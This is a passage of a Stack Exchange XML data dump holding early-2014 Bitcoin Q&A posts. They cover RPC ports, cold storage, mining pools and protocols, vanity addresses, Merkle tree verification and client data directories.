  <row Id="19880" PostTypeId="2" ParentId="18084" CreationDate="2014-01-05T17:40:32.343" Score="1" Body="&lt;p&gt;QT's RPC API is set to listen by default to TCP port 8332. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you have specified the &lt;strong&gt;rpcuser&lt;/strong&gt; and &lt;strong&gt;rpcpassword&lt;/strong&gt; parameters in the bitcoin.conf file you don't need to explicitly specify them upon your call. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a Command Prompt, run: &lt;strong&gt;bitcoind.exe -daemon -debugnet -printtoconsole&lt;/strong&gt; and then open a new Command Prompt and type: &lt;strong&gt;netstat -a&lt;/strong&gt;, once the RPC API is listening for connections you should see this: &lt;strong&gt;TCP  127.0.0.1:8332  myHostName:0  LISTENING&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-05T17:40:32.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19881" PostTypeId="2" ParentId="13914" CreationDate="2014-01-05T17:41:36.610" Score="0" Body="&lt;p&gt;Testnet connects on port 18332 unless you specify set the port in your conf file. Changing it to that should correct the issue.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2014-01-05T17:41:36.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19882" PostTypeId="1" AcceptedAnswerId="20072" CreationDate="2014-01-05T17:43:17.717" Score="3" ViewCount="3467" Body="&lt;p&gt;I have been using &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;this Clark Moody webpage&lt;/a&gt; to track the price of Bitcoin on MtGox. A nice animated order book is provided, along with a good chart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there similar pages but for other exchanges (because MtGox...)?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-13T04:49:55.537" Title="Full animated order book" Tags="|charts|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19884" PostTypeId="2" ParentId="19861" CreationDate="2014-01-05T17:49:36.907" Score="1" Body="&lt;p&gt;&lt;strong&gt;The safest wallet is no wallet at all&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Odd as it might sound, for a cold wallet (aka your big fat BTC account) all you really need and you should have are the private keys of your non-empty accounts and of course your pass-phrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Memorize them and no one can steal them from you (except from amnesia). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Store them in an encrypted flash drive in a not-so-obvious format and no one will ever know what they are and what they're for, even if they ever manage to decrypt your flash drive, plus they still need your pass-phrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a hot wallet (every day's stuff) solution, the previous commentators have suggested pretty good solutions.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-05T17:49:36.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19885" PostTypeId="1" AcceptedAnswerId="19892" CreationDate="2014-01-05T18:11:47.133" Score="0" ViewCount="967" Body="&lt;p&gt;I want to buy a cheap computer to use exclusively as a secure offline wallet for cold storage. I am considering a Chromebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone managed to run Armory on a Chromebook?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-05T19:05:57.527" Title="Can I run Armory on a Chromebook?" Tags="|armory|coldstorage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19886" PostTypeId="1" AcceptedAnswerId="19887" CreationDate="2014-01-05T18:12:50.360" Score="-1" ViewCount="2730" Body="&lt;p&gt;I  downloaded cgminer, created an account on btcguild.com and followed to procedure it told me to. I have now started cgminer and it keeps updating itself as &lt;code&gt;stratum from pool 0 detected new block&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting that at this stage my bitcoin wallet would start showing the bitcoins I have started earning. I know that may be a stupid thing to expect but the problem is I haven't been able to find out what more to do? My searches on google lead to things that I have either already done or to things that are too technical. So what is the fuss and how do I finally earn my first bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="11803" LastEditorUserId="5406" LastEditDate="2016-04-25T21:01:51.623" LastActivityDate="2016-04-25T21:01:51.623" Title="CGMiner — when will I start earning Bitcoins?" Tags="|mining-profitability|cgminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19887" PostTypeId="2" ParentId="19886" CreationDate="2014-01-05T18:48:11.403" Score="1" Body="&lt;p&gt;Depending on the hardware you are using it could be quite a long time before you see a Bitcoin, since they are valued at around 1,000 USD. You would see quicker results by mining Litecoin [LTC] or even Feathercoin [FTC]. Those are known as 'Scrypt' coins because they are mined in a different way from Bitcoin, in an attempt to allow 'latecomers' [with small budgets] to join the 'Goldrush'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The 'detected new block' messages refer to the whole Pool and you only get a small share, it takes thousands of shares to build a single LTC or FTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are you mining? Unless you have an ASIC rig you will almost never get any coins, the 'big boys' have Bitcoin totally under their control. LTC and FTC can be mined using your CPU but to see real results you need to use a fast GPU [a high power Graphic Card]. Really serious miners, who can afford it, use multiple GPU's in a special rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck, keep reading and you will get there. Drop more questions here if you like and I or some other enthusiast will eventually help you learn the ropes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, AJ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS - personally I am now retired and making more from LTC than when I worked  :}&lt;/p&gt;&#xA;" OwnerUserId="11809" LastEditorUserId="11809" LastEditDate="2014-01-05T19:05:20.817" LastActivityDate="2014-01-05T19:05:20.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19888" PostTypeId="1" AcceptedAnswerId="19894" CreationDate="2014-01-05T18:52:52.277" Score="2" ViewCount="426" Body="&lt;p&gt;The gambling site &lt;a href=&quot;http://bitzillions.com/satoshibones&quot; rel=&quot;nofollow&quot;&gt;satoshi bones&lt;/a&gt; uses addresses that start with &lt;code&gt;1bones&lt;/code&gt;, such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1bonesEeTcABPjLzAb1VkFgySY6Zqu3sX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How did they generate such a vanity address?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="5406" LastEditDate="2021-11-17T21:07:19.183" LastActivityDate="2021-11-17T21:07:19.183" Title="How are vanity addresses generated?" Tags="|vanity-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19890" PostTypeId="1" AcceptedAnswerId="19916" CreationDate="2014-01-05T18:55:32.540" Score="2" ViewCount="386" Body="&lt;p&gt;When downloading the Merkle Tree, are all branches from the root downloaded in order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the individual pieces of the tree cataloged in such a way so that the position of each piece is known?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, how does one know what piece of the tree goes where?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-01-05T23:04:49.350" Title="How is the Merkle Tree sequentially propagated, and are the parts addressed?" Tags="|merkle-tree|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19891" PostTypeId="2" ParentId="13925" CreationDate="2014-01-05T19:00:26.600" Score="1" Body="&lt;p&gt;Run this option when starting bitcoin-qt:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-salvagewallet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've had this exact same issue several times with other coins and it works like magic.&lt;/p&gt;&#xA;" OwnerUserId="7563" LastActivityDate="2014-01-05T19:00:26.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19892" PostTypeId="2" ParentId="19885" CreationDate="2014-01-05T19:05:57.527" Score="1" Body="&lt;p&gt;Armory appears to be written in C++ and Python, two languages that are not supported by ChromeOS by default. You can take a look at the Armory source code &lt;a href=&quot;https://github.com/etotheipi/BitcoinArmory&quot; rel=&quot;nofollow&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because ChromeOS doesn't support these languages, there is no way to run Armory on a Chromebook without significant modifications, like rooting the device to get to the system shell or formatting the disk and installing Linux. I have heard of people doing both of these things in the past, but I'm not sure which specific device is required or how much effort they take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a cheap computer to use for this sort of thing, the simplest bet in my opinion would be to purchase a low cost Linux desktop/laptop. This would provide you much more flexibility in what client you use, and would also help keep your wallets private. ChromeOS is pretty secure when it comes down to it, but Google+ is integrated very deeply with the OS, which may not be desirable for what you want to do.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastActivityDate="2014-01-05T19:05:57.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19893" PostTypeId="1" CreationDate="2014-01-05T19:34:06.073" Score="24" ViewCount="31872" Body="&lt;p&gt;Is it possible to send bitcoins with an attached message with the transaction? If yes how to do it?&lt;/p&gt;&#xA;" OwnerUserId="11811" LastActivityDate="2017-09-29T11:25:49.217" Title="How to send bitcoin with a message attached" Tags="|bitcoind|client|bitcoin-core|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19894" PostTypeId="2" ParentId="19888" CreationDate="2014-01-05T19:45:07.933" Score="6" Body="&lt;p&gt;there are applications, which take the starting text and generates milions of new addresses until the generated address starts with the selected text. It's pretty fast for short strings (3 characters). you'll wait about few minutes for 5 characters (case insensitive).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one such application is &lt;a href=&quot;https://en.bitcoin.it/wiki/Vanitygen&quot;&gt;vanitygen&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6858" LastActivityDate="2014-01-05T19:45:07.933" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19895" PostTypeId="1" AcceptedAnswerId="19903" CreationDate="2014-01-05T19:58:58.383" Score="0" ViewCount="306" Body="&lt;p&gt;According to Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Peercoin&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Peercoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the reward is halved every time the mining power increases by x16. So does that mean that you need historic data on the mining power in order to calculate how many coins there are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, does anyone know what's the initial reward and difficulty? I can't seem to find those either&lt;/p&gt;&#xA;" OwnerUserId="11812" LastActivityDate="2014-01-05T21:32:39.947" Title="How to calculate the the amount of all Peercoins(PPC) in circulation?" Tags="|currencies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19896" PostTypeId="1" AcceptedAnswerId="19901" CreationDate="2014-01-05T20:04:11.293" Score="0" ViewCount="180" Body="&lt;p&gt;According to Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Primecoin&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Primecoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the reward given for finding a block is 999*(difficulty**2). So does that mean that you need historic data on the difficulty in order to calculate how many coins there are?&lt;/p&gt;&#xA;" OwnerUserId="11812" LastActivityDate="2014-01-05T21:14:48.683" Title="Calculate the amount of Primecoin(XPM) mined/created so far" Tags="|currencies|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19897" PostTypeId="2" ParentId="19140" CreationDate="2014-01-05T20:15:50.490" Score="1" Body="&lt;p&gt;The encrypt option is under settings.&lt;/p&gt;&#xA;" OwnerUserId="11813" LastActivityDate="2014-01-05T20:15:50.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19899" PostTypeId="2" ParentId="17917" CreationDate="2014-01-05T20:23:28.387" Score="1" Body="&lt;p&gt;Here you're.Peercoin Starter from A -Z. Best guide you can find in the World&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=XLb4XAiA2P4&amp;amp;list=PLBt4zAxcWonnA8-InWGUEw-UZofHdUIeT&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=XLb4XAiA2P4&amp;amp;list=PLBt4zAxcWonnA8-InWGUEw-UZofHdUIeT&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11815" LastEditorUserId="5651" LastEditDate="2014-01-05T23:46:58.120" LastActivityDate="2014-01-05T23:46:58.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19900" PostTypeId="2" ParentId="17154" CreationDate="2014-01-05T20:31:16.740" Score="-2" Body="&lt;p&gt;Here is check &lt;a href=&quot;http://secure-bitcoin.blogspot.ru/&quot; rel=&quot;nofollow&quot;&gt;http://secure-bitcoin.blogspot.ru/&lt;/a&gt;, please leave a comment if you find any mistakes&lt;/p&gt;&#xA;" OwnerUserId="10609" LastActivityDate="2014-01-05T20:31:16.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19901" PostTypeId="2" ParentId="19896" CreationDate="2014-01-05T21:14:48.683" Score="0" Body="&lt;p&gt;Yes, unlike Bitcoin you can't deduce the total number of coins in circulation from the current block height, you need historic difficulty data. Of course, there should be services that have already computed this and present it publicly.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-01-05T21:14:48.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19902" PostTypeId="2" ParentId="19879" CreationDate="2014-01-05T21:15:44.720" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In the last few hours I am getting 100% connection rejections from&#xA;  Eligius. I am using a Mac and the Asteroid miner GUI. I also have&#xA;  MacMiner setup. both are not failing after about a month of&#xA;  successfully working. But that is not the point of the question.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Check your ISP, check luke's threads on btctalk and on eligius or their IRC chan #Eligius on freenode. They can give you the best help with support. A stackexchange unfortunately is not a support page for a website.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My question is trying to understand the pool URL, here is what Eligius&#xA;  provides: Stratum Host: stratum.mining.eligius.st Port: 3334 | Getwork&#xA;  Host: getwork.mining.eligius.st Port: 8337 GBT Host:&#xA;  gbt.mining.eligius.st Port: 9337&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I have been using &quot;&lt;a href=&quot;http://gbt.mining.eligius.st:9337&quot; rel=&quot;nofollow&quot;&gt;http://gbt.mining.eligius.st:9337&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks for some detailed info.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Question 1: Why is the scheme missing, that is &quot;http://&quot;, etc. It&#xA;  needs to be entered as part of the pool URL, what if any scheme should&#xA;  be entered?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;stratum+tcp://stratum.mining.eligius.st:3334&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe i explained the rest of the question below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also is there some reason the scheme is not provided? Or it just a&#xA;  lazy web developer?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's assumed that in bitcoin mining you have an idea of what a stratum's protocol is and the requirements/settings for it. Plus some newer miner programs auto detect stratum/gbt then fall back to getwork if there is not a template available. I wouldn't call it a lazy web developer. Just one who is more technical and not the best with making n00b friendly how to's.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Question 2: Please direct me to some information about the host types:&#xA;  Stratum, Getwork and GBT.&#xA;  Let me give a light explanation of each along with some links&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Getwork was the original bitcoin mining protocol. It is still around, but not used very much except by some pools for legacy support (mostly asicminer blades/cubes). Getwork uses the standard rpc connect commands to get new work. Since a third party miner does not have the block chain, it has to ask for a new piece of work to hash.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getwork&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stratum mining is an overlay protocol that allows thin clients as well as a method of sending templates via the stratum protocol.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Stratum&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Stratum&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GBT (getblocktemplate)&#xA;This is simply allowing you to get the entire template of a block. A template is the entire list of transactions needed to hash out the block. This is usually updated every minute. This allows ASIC miners not to have issues with as many rejected shares and stale shares (like they would with GetWork)&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getblocktemplate&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: Me. (I'm an alt-chain pool op and a longtime bitcoiner)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always&#xA;Any errors/questions/comments feel free to let me know in a positive manner.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-05T21:15:44.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19903" PostTypeId="2" ParentId="19895" CreationDate="2014-01-05T21:32:39.947" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;According to Wikipedia:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Peercoin&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Peercoin&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;the reward is halved every time the mining power increases by x16. So&#xA;  does that mean that you need historic data on the mining power in&#xA;  order to calculate how many coins there are?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No you do not need historical data on mining power, but you can calculate out the historical data with a simple calculation used by the entire ppc chain to get an idea of how much hashing power there has been historically. (but that's not the question you are asking).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, does anyone know what's the initial reward and difficulty? I&#xA;  can't seem to find those either&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Block explorers are your best bet. ABE based explorers like cryptocoinexplorer have some nice API functions. using &lt;a href=&quot;http://ppc.cryptocoinexplorer.com/chain/PPCoin/q/totalbc&quot; rel=&quot;nofollow&quot;&gt;http://ppc.cryptocoinexplorer.com/chain/PPCoin/q/totalbc&lt;/a&gt; I am told there have been  21019084.894021 PPC mined currently&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first block with a reward (block 1) hash is 00000000000be4e024af5071ba515c7510767f42ec9e40c5fba56775ff296658&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ppc.cryptocoinexplorer.com/block/00000000000be4e024af5071ba515c7510767f42ec9e40c5fba56775ff296658&quot; rel=&quot;nofollow&quot;&gt;http://ppc.cryptocoinexplorer.com/block/00000000000be4e024af5071ba515c7510767f42ec9e40c5fba56775ff296658&lt;/a&gt;&#xA;&quot;&#xA;2499.75 Coins generated&#xA;Hash: 00000000000be4e024af5071ba515c7510767f42ec9e40c5fba56775ff296658&#xA;Previous Block: 0000000032fe677166d54963b62a4677d8957e87c508eaa4fd7eb1c880cd27e3&#xA;Next Block: 0000000000fdfc564b25df5858ad9f5e3378d9102a22d5c785f9ab92ec3a304a&#xA;Transaction Merkle Root: 1bdae84eff34e15399335fc2a48c70fa6b0b9caf972e38b0e3bda106d223f668&#xA;Time: 1345400356 (2012-08-19 18:19:16)&#xA;Difficulty: 256.003 (Bits: 1c00ffff)&#xA;Nonce: 1915373966&#xA;Transactions: 1&#xA;Value out: 2499.75&#xA;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there were 2499.75 coins on the first block.&#xA;The first mined block had a difficulty of 256.003 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as always, google is your friend. Check it out&lt;/p&gt;&#xA;" OwnerUserId="5651" LastActivityDate="2014-01-05T21:32:39.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19904" PostTypeId="1" AcceptedAnswerId="19927" CreationDate="2014-01-05T21:39:51.783" Score="1" ViewCount="14434" Body="&lt;p&gt;I understand that each miner is working on a different block. Correct me if I'm wrong but this is because the first transaction in a block basically contains my wallet address so I can receive the bonus of solving the block. Obviously everyone wants to receive the bonus so that first transaction will be pointing to everyone's separate wallet addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume that I have two computers solo mining with both pointing to my wallet address, wouldn't this mean my computers are solving the same block? Continuing with this train of thought, wouldn't that mean that my slower computer is basically useless because it would be generating the same hashes as my faster computer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now how does this apply to pooled mining? In a pooled community, is everyone solving the same block which has the first transaction pointing to the pool owner who then distributes the coins?&lt;/p&gt;&#xA;" OwnerUserId="11816" LastEditorUserId="5406" LastEditDate="2016-04-10T12:16:15.467" LastActivityDate="2019-01-20T15:09:23.450" Title="When mining with 2 computers, do I need to use 2 separate wallets addresses?" Tags="|address|block|hash|mining-technical-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19905" PostTypeId="2" ParentId="13250" CreationDate="2014-01-05T22:19:22.193" Score="1" Body="&lt;p&gt;You might also want to take a look at this C# bitcoin library: &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GeorgeKimionis/BitcoinLib&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-05T22:19:22.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19906" PostTypeId="2" ParentId="5810" CreationDate="2014-01-05T22:21:44.817" Score="0" Body="&lt;p&gt;You might also want to take a look at this C# bitcoin library: &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GeorgeKimionis/BitcoinLib&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-05T22:21:44.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19907" PostTypeId="2" ParentId="5843" CreationDate="2014-01-05T22:23:58.017" Score="0" Body="&lt;p&gt;You can also take a look at this up-to-date C# bitcoin library: &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GeorgeKimionis/BitcoinLib&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-05T22:23:58.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19909" PostTypeId="1" AcceptedAnswerId="19912" CreationDate="2014-01-05T22:44:27.637" Score="1" ViewCount="578" Body="&lt;p&gt;I'm currently on windows and was wondering how do you make the qt client download the blockchain data to another directory? Since my main drive is a SSD hard drive, I don't have much space to spare. How would I configure this to make it download elsewhere? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also would this apply to other qt clients like litecoin, ppcoin, etc?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2023-12-21T22:39:49.797" LastActivityDate="2023-12-21T22:39:49.797" Title="How do you configure windows to store the bitcoin blockchain data into another directory?" Tags="|windows|datadir|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19910" PostTypeId="1" AcceptedAnswerId="19939" CreationDate="2014-01-05T22:47:45.637" Score="1" ViewCount="1112" Body="&lt;p&gt;I'm new to Primeminer and couldn't find a tutorial on how to set it up. I have downloaded the Primeminer software and it seems to consist of only two files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a &lt;code&gt;.bat&lt;/code&gt; file&lt;/li&gt;&#xA;&lt;li&gt;an &lt;code&gt;.exe&lt;/code&gt; file.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is that all there is? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is primeminer universal for all cpu mining coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run primeminer and it connects to some pool, would the pool then send data back to your miner app, in order to crunch the data and send it back?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-04-01T09:07:42.517" LastActivityDate="2016-04-01T09:07:42.517" Title="Where can I find a step by step tutorial on how to setup primeminer and join a pool?" Tags="|miner-configuration|primecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19911" PostTypeId="1" AcceptedAnswerId="25467" CreationDate="2014-01-05T22:49:27.677" Score="4" ViewCount="1011" Body="&lt;p&gt;I was wondering how would one setup their own pool for one of the alt coins. Is there a good tutorial link on how to setup your own pool? I'm mainly looking to setup a datacoin pool but was wondering how to get that up.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-05-20T15:44:05.880" Title="How do you setup your own Bitcoin / Litecoin / Primecoin / Altcoin pool? Whats a good tutorial?" Tags="|mining-pools|datacoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19912" PostTypeId="2" ParentId="19909" CreationDate="2014-01-05T22:51:08.107" Score="2" Body="&lt;p&gt;Add '-datadir=path-to-directory' to the command used to start the client.  For example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt -datadir=D:\Bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to store the bitcoin files in the D:\Bitcoin directory.  Remember to enclose the directory path in double quotes if it contains spaces.  Also move the subdirectories as well as the main application directory to the new location.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-01-05T22:51:08.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19913" PostTypeId="1" AcceptedAnswerId="19923" CreationDate="2014-01-05T22:53:02.913" Score="3" ViewCount="6059" Body="&lt;p&gt;I tried reading up on how PPLNS works for mining pools, but I'm still very lost. Can someone explain how does pay per last N shares work? Explain it as if I was a kid. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2024-02-04T09:39:15.850" Title="Can someone explain to me how does PPLNS mining pool profit split in lay terms?" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19914" PostTypeId="1" CreationDate="2014-01-05T22:59:15.210" Score="1" ViewCount="212" Body="&lt;p&gt;As of today 2014-January-05.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much drive space does each of these coins take after downloading the complete blockchain?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Litecoin&lt;/li&gt;&#xA;&lt;li&gt;PPCoin&lt;/li&gt;&#xA;&lt;li&gt;Florincoin&lt;/li&gt;&#xA;&lt;li&gt;Philosopher Stone&lt;/li&gt;&#xA;&lt;li&gt;Norbits&lt;/li&gt;&#xA;&lt;li&gt;Anonymous Coin&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Or better yet, is there a website that shows all this data with these altcoins.&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2016-08-03T06:13:54.527" LastActivityDate="2016-08-03T06:13:54.527" Title="As of today Jan-2014. How much drive space does the following coins blockchain data take?" Tags="|blockchain|altcoin|storage-footprint|" AnswerCount="1" CommentCount="2" ClosedDate="2016-08-03T06:12:35.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="19916" PostTypeId="2" ParentId="19890" CreationDate="2014-01-05T23:04:49.350" Score="3" Body="&lt;p&gt;The Merkle tree isn't included in the download data.  Just the root hash is included in the block header.  The client has to reconstruct the tree in order to verify the root hash.  It does this by going through the transaction list as it appears in the block data.  Each transaction hash is a node at the top of the tree.  So, if you have 6 transactions, you have 6 nodes (the last transaction hash is repeated if you have an odd number of nodes).  Then the next level of the tree is computed where each node is formed by hashing the two nodes above it (again, the last node is duplicated if you have an odd number).  This process continues until you have just one node - the root node.  It is checked against the root in the header to make sure it matches.  If it does, you know the transactions have not been modified.  Note that the block hash is only over the block header and does not include the transactions themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example with 6 transactions (Tx1-Tx6)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tx1    Tx2    Tx3    Tx4    Tx5    Tx6&#xA;    \   /        \    /        \   /&#xA;     L2A -      -  L2B          L2C -     - L2C (repeated)&#xA;          \    /                     \   /&#xA;            L3A  ---            ----  L3B&#xA;                    \          /&#xA;                         Root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9301" 